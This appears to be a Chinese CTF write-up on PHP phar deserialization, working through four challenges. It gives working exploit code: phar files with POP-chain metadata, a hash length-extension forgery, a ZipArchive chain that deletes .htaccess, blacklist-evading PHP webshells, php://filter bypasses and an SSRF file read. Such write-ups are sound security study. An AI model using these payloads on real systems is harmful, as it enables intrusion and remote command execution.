pop链之phar反序列化

[HNCTF 2022 WEEK3]ez_phar

0x01 信息收集

此时根据界面提醒的upload something upload something;此时我们可以怀疑存在文件上传的界面;此时我们访问upload.php得到文件上传的界面,然后又根
据此时存在一个get提交的filename和Flag类的_destruct();此时有理由怀疑此题的考点在于phar反序列化

0x02 phar反序列化攻击

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Flag
{
public $code;
}
$a = new Flag();
$a -> code="system('ls /');";

$phar = new Phar("hey.phar"); //对phar对象进行实例化,以便后续操作。
$phar->startBuffering(); //缓冲phar写操作(不用特别注意)
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,为固定格式
$phar->setMetaData($a); //把我们的对象写进Metadata中
$phar->addFromString("test1.txt","test1"); //写压缩文件的内容,这里没利用点,可以随便写
$phar->stopBuffering(); //停止缓冲

上传完之后使用phar://进行读取即可获取flag

[SWPUCTF 2018]SimplePHP

0x01 信息收集


此时发现了这个读取文件的功能,并且在源码中发现了f1ag.php;此时考虑使用伪协议读取f1ag.php;但是无法读取.此时我们先进行一波信息收集,因为存在这个读取文件的功能,所以此时怀疑存在源码信息泄露;此时读一下源码file.php;发现存在回显,先进行源码审计
file.php

此时发现了file_exists()和文件上传解密所以有理由怀疑这题的突破点在于phar反序列化攻击;接下来继续读取function.php和class.php
function.php

此时在这个function.php中我们可以知道这个是文件上传界面功能的源码,此时自定义了三个函数其中upload_file_do()中对我们上传的文件名做了处理,用md5
进行加密;接下来是upload_file_check(),此时定义了一个白名单,只能上传gif、jpeg、jpg、png后缀的文件
class.php

0x02 class.php代码审计

class.php:

此时的思路依旧跟之前做pop链的思路一致;先分析最后可以输出我们想要内容的函数;然后根据这个链尾反推出整条pop链
此时我们先来看Cle4r类:

此时这段代码定义了一个名为Cle4r的类,其中包含了两个属性$test和$str和两个函数,此时在_construct()这个构造函数中接受一个参数$name并且在这个构造
函数被调用时会将$name的值赋给$str;然后在_destruct()这个析构函数中,会将$str的值赋给$test;然后使用echo语句输出$test
Show类:

此时定义了一个名为Show的类,其中包含了两个属性和五个函数;其中_construct()这个构造函数中接受一个参数$file且在这个魔术魔方被触发时会将$file值赋
给$source并且输出$source;接下来是_toString()此时会在$str数组中获取键为str的值并输出;接下来是_set()魔术魔方将$value值赋给$key;最后是_show和_wakeup()魔术魔方,在其被触发时会对$source属性进行一个过滤若$source属性包含http|https|file:|gopher|dict|..|f1ag;则会输出hacker
Test类:

此时定义了一个名为Test的类和两个属性和三个函数;此时在_construct()中会初始化params为空数组;在_get()中会调用get()方法;在get()方法中会先判断在pa
rams数组中是否存在键为$key的元素;如果存在则会将该值赋值给$value;如果不存在的话将会把$value的值置为index.php;并且调用file_get()方法和返回结结
果;最后是file_get();此时会接受一个参数为$value的值并调用file_get_contents()获取$value的内容然后将该内容进行base64加密后输出
反推pop链:
此时我们从上面的源码审计中可知Test类中的file_get()可以读取$value的内容并返回;所以此时我们将file_get()作为链尾;接下来Test类中的get()会触发file_get();然后Test类的_get()会触发get();而当读取一个不可访问的属性的值或调用一个不存在的函数或属性时会触发_get;此时发现在Show类中的_toString()代
码尝试访问 $str 数组的键 ‘str’,并获取其值。接下来,从取得的值中访问属性 ‘source’。最后,将获取到的内容赋值给变量 $content;此时我们只需要把str[‘str’]赋值给Test;在Test中不存在suorce属性;所以此时便可以顺利调用_get();而_toString()的触发条件很容易寻找,在Cle4r类中的_destruct()中的echo
可以触发_toString().至此整条pop链已经被捋清(注:此时在Test类中的$key就是source)

1
Cle4r[__destruct()] --> Show[__toString()] --> Test[__get()] --> Test[get()] --> Test[file_get()]

tips:

1
2
3
4
5
6
7
8
9
10
11
12
通过Cle4r。将str赋值为Show类。
this->test=$this->Show类
echo $this->test;
触发Show类中的__tostring魔术方法。进入Show类。执行
$content=$this->str['str']->source;
那么我们将str['str']赋值为Test类。使其调用source。但是不存在。
接下来就进入了Test类。执行
__get($key)。这个$key。其实就是source。
get($key)
$value=this->params['source'];
file_get_contents($value);
由于Test类在构造函数中。定义了params是个数组。那么我们就定义params=array('source'=>'/var/www/html/f1ag.php');

0x03 exp编写

pop’s exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
class C1e4r
{
public $test;
public $str;
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
$a = new C1e4r();
$a -> str = new Show();
$a -> str -> str['str'] = new Test();
$a -> str -> str['str'] -> params = array('source' => '/var/www/html/f1ag.php');
echo serialize($a);
?>

phar’s exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a = new C1e4r();
$a -> str = new Show();
$a -> str -> str['str'] = new Test();
$a -> str -> str['str'] -> params = array('source' => '/var/www/html/f1ag.php');

$phar = new Phar("exp.phar");
$phar -> startBuffering();
$phar -> setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar -> setMetadata($a);
$phar -> addFromString("exp.txt", "success"); //随便写点什么生成个签名
$phar -> stopBuffering();
?>

此时我们注意注意审计function.php

首先得经过upload_file_check()函数。这个函数是判断文件后缀名的。必须是gif/jpeg/jpg/png通过匹配后。进入upload_file_do()这里就是上传文件了。
文件名=md5(文件名+IP地址)
此时我们将exp.phar改为1.jpg上传;然后访问upload
进行查看发现已经上传成功
接下来就是利用phar://协议进行读取

对输出的字符串进行base64解码即可得到flag

[ByteCTF 2019]EZCMS

0x01 信息收集

此时依旧是给了我们一个登入框,此时我们使用admin/admin123弱口令进入后发现了一个文件上传的界面;但是此时我们上传一个图片时发现提示我们不是admin,
接下来继续观察发现了一个./htaccess;此时有点山穷水尽的感觉,此时我们掏出我们的dirsearch进行一个目录的扫描看看是否存在信息泄露;经过扫描之后果然发现了网站源码的泄露www.zip

0x02 代码审计

index.php


此时我们先从index.php来审计
此时是对admin账号中的admin密码做了一个处理;当我们的密码是admin时便不可以登入admin账号,接下来来看看config.php

config.php

hash长度拓展攻击


此时我们注意到了一个hash扩展长度攻击的漏洞点;因为已经知道了secret的长度和adminadmin的hash值;所以此时我们可以利用hash扩展长度攻击来进入admin

hashpump

1
2
3
4
5
6
7
8
$ hashpump
Input Signature: 52107b08c0f3342d2153ae1d68e6262c //已知的签名
Input Data: admin //数据(password)
Input Key Length: 13 //密文固定长度 secret.username
Input Data to Add: hey //拓展字段
5e73ae134a79d4852d5e6958afc13d86 //拓展后获取的签名
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00hey //拓展后的数据
Payload 中需替换 \x 为 %


此时使用bp或者开发者工具都可以伪造

此时已经可以传文件但是此时后台会对我们的文件内容进行过滤

过滤

此时继续向下审计源码

此时发现了Check这个类会对我们上传的文件内容做一个黑名单;当文件内容出现了’system’,’eval’,’exec’,’+’,’passthru’,’assert’便会显示”file make scare”
继续往下看这个File类

此时使用了构造函数_construct()并在该构造函数里面进行了赋值的操作;然后对$filepath进行了过滤;然后接下来使用了mime_content_type()获取文件的MI
NE类型然后储存在$mime中;最后使用了open()来打开文件结果并存储在$store_path中;最后在把$mime和$store_path作为关联数组储存在$res[]中
此时继续往下审计Admin类

此时发现会自动的创建一个随便写入内容的/.htaccess文件;又因为/.htaccess内容是乱写的。这也意味着。我们上传的文件都会收到.htaccess的影响不能正常执行;所以此时的思路就是如何把这个/.htaccess文件给删除掉

view.php


此时该源码时用来判断文件的输出路径和调用config.php源码的File类;所以此时我们的重点又回到了config.php中的File类

config.php的File类的深入审计


此时我们将注意力集中在view_detail()上面;此时这个方法利用了一个读取文件的函数mime_content_type();而我们知道凡是调用了php_stream_locate_url_wrapper函数的php函数都会触发phar反序列化;在加上此时的过滤点存在phar;那么此时我们可不可以使用phar反序列话攻击来删除掉htaccess文件的影响;然后在上传木马进行getshell

0x03 phar反序列化攻击删除hatccess并getshell

代码审计至此整个攻击思路已经十分的清楚了;利用phar反序列化攻击来删除htaccess文件对无法解析php文件的影响;然后在上传木马getshell;那么此时我们就需要来找到phar反序列化攻击的整条链子。
此时我们定位到config.php中的Profile类

虽然 webapp 自身没有提供对应的函数,但是 php 系统中是否存在某个类可以完成文件修改的效果,所以顺着这个思路就找到了 ZipArchive::open

https://www.jianshu.com/p/972327151eff

ZipAechive

Archive->open方法可以删除目标文件,前提是我们需要将其第二个参数设定为“9”。 为什么要设定为9呢?原因在于, ZipArchive->open()的第二个参数是“指定其他选项”。而9对应的是ZipArchive::CREATE | ZipArchive::OVERWRITE。由于ZipArchive打算覆盖我们的文件,所以就会先对其进行删除。在此,感谢@pagabuc帮助我们解释了这一参数的具体意义。 那么现在,我们就可以使用ZipArchive->open()来删除.htaccess文件。
ps:
https://www.anquanke.com/post/id/95896#h2-8

ZipArchive::OVERWRITE这个选项。可以将已存在的文件覆盖;如果我们将.htaccess覆盖为NULL。就达到了删除.htaccess的目的.

pop链的构造

此时我们就需要构造出pop链来进行phar攻击了;此时我们将Profile类中的_call作为链尾;那么此时我们就需要知道如何触发到_call;此时我们知道当调用一个不
可访问或者不存在的方法时便会触发_call;此时我们在File类中发现了一个方法upload_file();此时我们若是将checker赋值为Profile但是在Profile中却不存
在这个upload_file()方法;所以此时便会自动触发这个_call类;所以此时的整条pop链已经完全清晰
pop链

1
File[__destruct] --> Profilep[__call]

所以此时的exp即为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class File{
public $filename;
public $filepath;
public $checker;

}
class Profile{
public $username;
public $password;
public $admin;
}
// 准备好用到的两个类
$a = new File();
$a -> checker=new Profile();
$a -> checker->admin=new ZipArchive();
// 给checker赋值
$a -> checker->username="sandbox/2c67ca1eaeadbdc1868d67003072b481/.htaccess";
$a -> checker->password=ZipArchive::OVERWRITE;
// 执行删除htaccess操作

上传木马

此时来看后台对我们上传文件的限制

因为eval无法通过拼接;所以这里我们选择system()来做执行
payload

1
2
3
4
5
6
7
8
9
10
11
<?php

$a="syste";

$b="m";

$c=$a.$b;

$d=$c($_REQUEST['a']);

?>

or payload

1
2
3
<?php
$z="sys"."tem";
$z($_GET[0]);

other paylaod

1
2
3
4
5
6
<?php
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>

此时上传后获取经过加密名的木马:072ccbc16881e36bc366b92d3ed3fd3e.php
a1d47f381fca335fa85d880091354e94.php

phar攻击

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class File{
public $filename;
public $filepath;
public $checker;

}
class Profile{
public $username;
public $password;
public $admin;
}
// 准备好用到的两个类
$a = new File();
$a -> checker=new Profile();
$a -> checker->admin=new ZipArchive();
// 给checker赋值
$a -> checker->username="var/www/html/sandbox/0de43e32c684497c6ed4327a3d5adfff/.htaccess"; //注意要为绝对路径
$a -> checker->password=ZipArchive::OVERWRITE;
// 执行删除htaccess操作

@unlink("hey.phar");
$phar = new Phar("hey.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

此时上传这个phar文件

然后此时我们需要进行一个bypass;因为此时对filepath的做了一次的过滤

此时无法直接通过phar://直接触发这个phar文件;这里对协议进行了过滤,可以看到只检验了开头,且没有过滤 php://,可以使用 PHP 伪协议 bypass.
paylaod1

1
2
php://filter/resource=phar://filename.phar
替换得php://filter/read=convert.base64-encode/resource=phar://sandbox/0de43e32c684497c6ed4327a3d5adfff/c54adfc5cf453cf63812783633f30c89.phar

paylaod2

1
view.php?filename=c54adfc5cf453cf63812783633f30c89.phar&filepath=php://filter/read=convert.base64-encode/resource=phar://sandbox/0de43e32c684497c6ed4327a3d5adfff/c54adfc5cf453cf63812783633f30c89.phar

getshell

此时在上传这个phar文件并且触发其删除htaccess后我们直接访问我们上传的木马并构造payload:?a=cat /flag;即可getshell

感言:字节跳动的这道题目考点还是挺多的;涉及了信息收集、目录扫描、源码泄漏、代码审计哈希长度扩展攻击、Phar反序列化、PHP伪协议、文件上传、bypass等;
还是很不容易才复现出来;出题的师傅tql!

[NCTF2019]phar matches everything

0x01 信息收集

此时使用dirsearch扫描后台可以发现vim泄露;此此时恢复vim得到网站源码
catchemine.php

upload.php

0x02 源码审计

upload.php


此时先使用变量$target_dir规定文件被上传到哪一个目录;然后使用变量$uploadOK来表示能否上传文件;然后接下来截取上传文件的后缀名;并将此文件重新命
名;接下来检查上传文件是否为图像。如果是图像,将输出一条消息并将$uploadOk设置为1,表示允许上传。如果不是图像,将输出另一条消息并将$uploadOk设置为0,表示不允许上传。

catchmine.php


此时这段代码先是生成了两个类Eazytest和Main类;在Eazytest类中声明了一个受保护的属性$test并有一个返回该$test值的方法funny_get()
接下来看Main类;我们将其分为两个部分来审计

在这个curl()方法中:
$ch = curl_init():创建一个cURL会话句柄,并将其分配给变量$ch;
curl_setopt($ch, CURLOPT_URL, $url):设置cURL选项,指定要请求的URL。这里使用$url参数作为URL。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true):设置cURL选项,将返回的数据以字符串的形式返回,而不是直接输出到浏览器。
$output = curl_exec($ch):执行cURL请求,并将结果保存到$output变量中
curl_close($ch):关闭cURL会话句柄,释放资源。
return $output:返回请求的结果。
作用:这个 curl() 方法通过 cURL 库提供了一种方便的方式来执行 HTTP 请求。它可以用于从指定的URL获取数据、与远程服务器进行交互,或执行其他需要使用 cURL 的操作。返回的 $output 变量包含了请求的响应内容,可以根据需要进行进一步处理或显示。
简言之:这段代码可以用于从指定的URL获取数据或与远程服务器进行交互。
此时根据小草师傅们的文章可知这里存在ssrf攻击

https://bycsec.top/2020/02/05/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-SSRF%E5%9F%BA%E7%A1%80/

1
2
3
4
5
6
7
8
9
10
11
ssrf的利用:
1.让服务端去访问相应的网址
(比如读/flag之类的)
2.让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
3.可以使用```file、dict、gopher、ftp```协议进行请求访问相应的文件
(其中gopher被称作万金油,可以打内网也可以get,post,当然还有攻击内网未授权的mysql,主要区别在于不默认端口)
4.攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})
(ssrf打redis)
5.攻击内网应用程序(利用跨协议通信技术)
6.判断内网主机是否存活:方法是访问看是否有**端口开放**
7.利用phar协议触发反序列化

此时继续往下面看

这段代码的作用是在表单提交时,检查提交的文件是否为图像文件。如果是图像文件,则输出相应的消息,显示图像的MIME类型。如果不是图像文件,则输出相应的消息,指明文件不是一个图像。这种验证可以用于限制用户只能上传图像文件,并对非图像文件进行相应处理。
此时我们需要注意的是getimagesize()这个函数:getimagesize是获取传入文件的元数据,如果传入的文件是phar文件,使用phar://协议读取时就会自动反序列化phar的metadata,那传入的phar元数据是序列化的Main类对象,就能进入析构函数了

0x03 攻击思路

因为在getimagesize()可以触发phar反序列化;然后因为又存在析构函数destruct();所以当对象被删除时可以再次触发这个析构函数;又因为这个析构函数被触发后可以触发curl();而在curl()函数中有ssrf漏洞;所以此时的思路就是使用phar反序列化来触发ssrf读取文件。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Easytest{
protected $test = '1';
}
class Main {
public $url = 'file:///proc/net/arp';
}

$a = new Easytest();
echo urlencode(serialize($a));
$b = new Main();

@unlink("hey.phar");
$phar=new Phar("hey.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

payload

ps

这题在buu上好像环境出现了问题后面涉及的内容有内网攻击和PHP-FPM未授权访问漏洞。占时复现到phar反序列化攻击。后面在慢慢补